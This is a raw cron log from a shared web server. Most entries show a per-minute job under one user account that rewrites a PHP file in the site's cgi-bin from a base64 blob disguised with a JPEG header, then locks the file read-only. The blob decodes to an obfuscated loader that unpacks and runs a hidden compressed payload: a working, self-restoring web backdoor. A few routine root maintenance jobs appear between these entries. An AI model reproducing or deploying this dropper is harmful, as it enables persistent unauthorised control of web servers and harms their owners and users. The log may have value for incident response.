Nov 11 07:03:01 server CROND[11487]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:04:01 server CROND[12336]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:05:01 server CROND[13308]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 07:05:01 server CROND[13310]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:05:01 server CROND[13309]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 07:05:01 server CROND[13311]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 07:06:01 server CROND[14092]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:07:01 server CROND[14895]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:08:01 server CROND[15701]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:09:01 server CROND[16606]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:09:01 server CROND[16607]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 07:10:01 server CROND[17344]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:10:01 server CROND[17345]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 07:10:01 server CROND[17346]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 07:10:01 server CROND[17347]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 07:11:01 server CROND[18025]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:12:01 server CROND[18835]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:12:01 server CROND[18836]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 07:13:01 server CROND[19658]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:14:01 server CROND[20471]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:15:01 server CROND[21130]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:15:01 server CROND[21131]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 07:15:01 server CROND[21129]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
